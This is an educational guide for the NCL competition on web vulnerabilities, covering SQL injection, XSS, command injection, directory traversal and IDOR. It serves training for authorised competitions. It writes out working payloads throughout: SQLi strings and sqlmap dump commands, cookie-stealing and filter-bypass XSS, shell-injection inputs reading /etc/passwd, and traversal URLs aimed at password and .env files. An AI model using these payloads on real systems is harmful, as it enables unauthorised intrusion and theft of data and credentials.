NCL: Web Application Security
Finding and exploiting common web vulnerabilities — SQL injection, XSS, and more
Web Application Security
Web application security challenges test your ability to find and exploit vulnerabilities in websites. NCL presents you with a running web application and asks you to extract data, bypass authentication, or find hidden content.
The vulnerabilities tested map to the OWASP Top 10 — the industry-standard list of the most critical web security risks. This page covers the five most common in NCL: SQL injection, cross-site scripting, command injection, directory traversal, and insecure direct object references.
1. SQL Injection (SQLi)
SQL injection occurs when user input is inserted directly into a SQL query without sanitization. If a login form builds a query like SELECT * FROM users WHERE username='INPUT' AND password='INPUT', an attacker can manipulate the query by entering SQL syntax as input.
Testing for SQLi
Enter these in input fields (username, search bars, URL parameters):
' OR 1=1 --
' OR '1'='1
admin' --
" OR ""="
1; DROP TABLE users --
The ' breaks out of the string context. OR 1=1 makes the condition always true (returns all rows). -- comments out the rest of the query, bypassing the password check.
Tools
# Automated SQL injection with sqlmap
sqlmap -u "http://target.com/page?id=1" --dbs # List databases
sqlmap -u "http://target.com/page?id=1" -D dbname --tables # List tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # Dump data
sqlmap automates the entire injection process — it detects the injection point, determines the database type, and extracts data.
Checkpoint: A login form sends username and password as a POST request. How do you test for SQL injection with sqlmap?
Capture the POST request with Burp Suite or browser DevTools, then:
sqlmap -u "http://target.com/login" --data="username=admin&password=test" --dbs
The --data flag specifies POST parameters. sqlmap will test each parameter for injection. Alternatively, save the request to a file with Burp and use sqlmap -r request.txt.
2. Cross-Site Scripting (XSS)
XSS occurs when a web application includes user-supplied data in its HTML output without encoding it. An attacker can inject JavaScript that executes in other users’ browsers.
Types
| Type | Description | Persistence |
|---|---|---|
| Reflected | Input appears immediately in the response (e.g., search results) | One-time (URL-based) |
| Stored | Input is saved and displayed to other users (e.g., comments, profiles) | Permanent until removed |
| DOM-based | JavaScript modifies the page using unsanitized input | Client-side only |
Testing for XSS
Enter these in input fields and check if they execute:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(document.cookie)</script>
If an alert box appears, the application is vulnerable. In NCL, you typically need to demonstrate that JavaScript can execute, or extract a specific value (like a cookie or session token).
Bypassing filters
Applications sometimes filter <script> tags. Common bypasses:
<ScRiPt>alert(1)</ScRiPt> <!-- Case variation -->
<img src=x onerror=alert(1)> <!-- Event handler -->
<svg/onload=alert(1)> <!-- SVG tag -->
<body onload=alert(1)> <!-- Body event -->
javascript:alert(1) <!-- In href attributes -->
Checkpoint: You enter <script>alert(1)</script> in a comment field and see an alert box. What type of XSS is this?
If the comment is saved and the alert fires for other users viewing the page, it is stored XSS — the most dangerous type because it persists and affects all visitors. If the input only appeared in the immediate response (e.g., a search query reflected back), it would be reflected XSS.
3. Command Injection
Command injection occurs when user input is passed to a system shell command. If an application runs ping USER_INPUT, an attacker can append additional commands using shell metacharacters.
Testing
; ls -la
| cat /etc/passwd
$(whoami)
`id`
; cat /flag.txt
The ; terminates the intended command and starts a new one. | pipes output. $() and backticks execute subcommands.
Example
A web form asks for a hostname to ping. Normal input: google.com. Malicious input:
google.com; cat /etc/passwd
The server runs ping google.com; cat /etc/passwd, executing both commands.
Checkpoint: An application has a "ping" feature but filters semicolons (;). How else can you inject a command?
Try | cat /etc/passwd (pipe), && cat /etc/passwd (AND — runs if ping succeeds), || cat /etc/passwd (OR — runs if ping fails), or $(cat /etc/passwd) (command substitution). Different operating systems and shells support different metacharacters.
4. Directory Traversal
Directory traversal (also called path traversal) allows reading files outside the web root by manipulating file path parameters with ../ sequences.
Testing
If a URL includes a file parameter like http://target.com/page?file=report.pdf, try:
http://target.com/page?file=../../../etc/passwd
http://target.com/page?file=....//....//etc/passwd
http://target.com/page?file=%2e%2e%2f%2e%2e%2fetc/passwd
../ moves up one directory. Three levels of ../ from a typical web root (/var/www/html/) reaches the filesystem root (/). URL encoding (%2e%2e%2f) bypasses basic filters.
Common target files
| File | Contents |
|---|---|
/etc/passwd |
User accounts (proof of traversal) |
/etc/shadow |
Password hashes (requires root) |
/var/log/auth.log |
Authentication logs |
C:\Windows\System32\config\SAM |
Windows password database |
../../.env |
Application environment variables (API keys, DB passwords) |
5. Insecure Direct Object References (IDOR)
IDOR occurs when an application uses user-controllable parameters (like IDs) to access resources without authorization checks. If http://target.com/profile?id=42 shows your profile, changing it to ?id=43 might show someone else’s.
Testing
# Change numeric IDs
http://target.com/api/user/1 → /api/user/2
http://target.com/invoice?id=1001 → ?id=1002
# Change filenames
http://target.com/download?file=my_report.pdf → ?file=admin_report.pdf
In NCL, IDOR challenges typically ask you to access another user’s data or an admin page by modifying a URL parameter.
Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Web proxy — intercept, modify, and replay HTTP requests |
| Browser DevTools | Inspect network requests, cookies, localStorage |
| curl | Send custom HTTP requests from the command line |
| sqlmap | Automated SQL injection |
| dirb / gobuster | Directory brute forcing (find hidden pages) |
| nikto | Web vulnerability scanner |
Burp Suite basics
Burp Suite acts as a proxy between your browser and the target. It lets you intercept requests, modify parameters, and replay them. For NCL:
- Configure your browser to use Burp as a proxy (127.0.0.1:8080)
- Browse the target — Burp captures every request
- Send interesting requests to Repeater to modify and resend
- Use Intruder for automated parameter fuzzing
Resources
Practice: PortSwigger Web Security Academy (free, comprehensive labs — highly recommended) · OWASP Juice Shop (intentionally vulnerable app) · HackTheBox (web challenges)
Reference: OWASP Top 10 · OWASP Testing Guide
Video: John Hammond — web exploitation · LiveOverflow — web security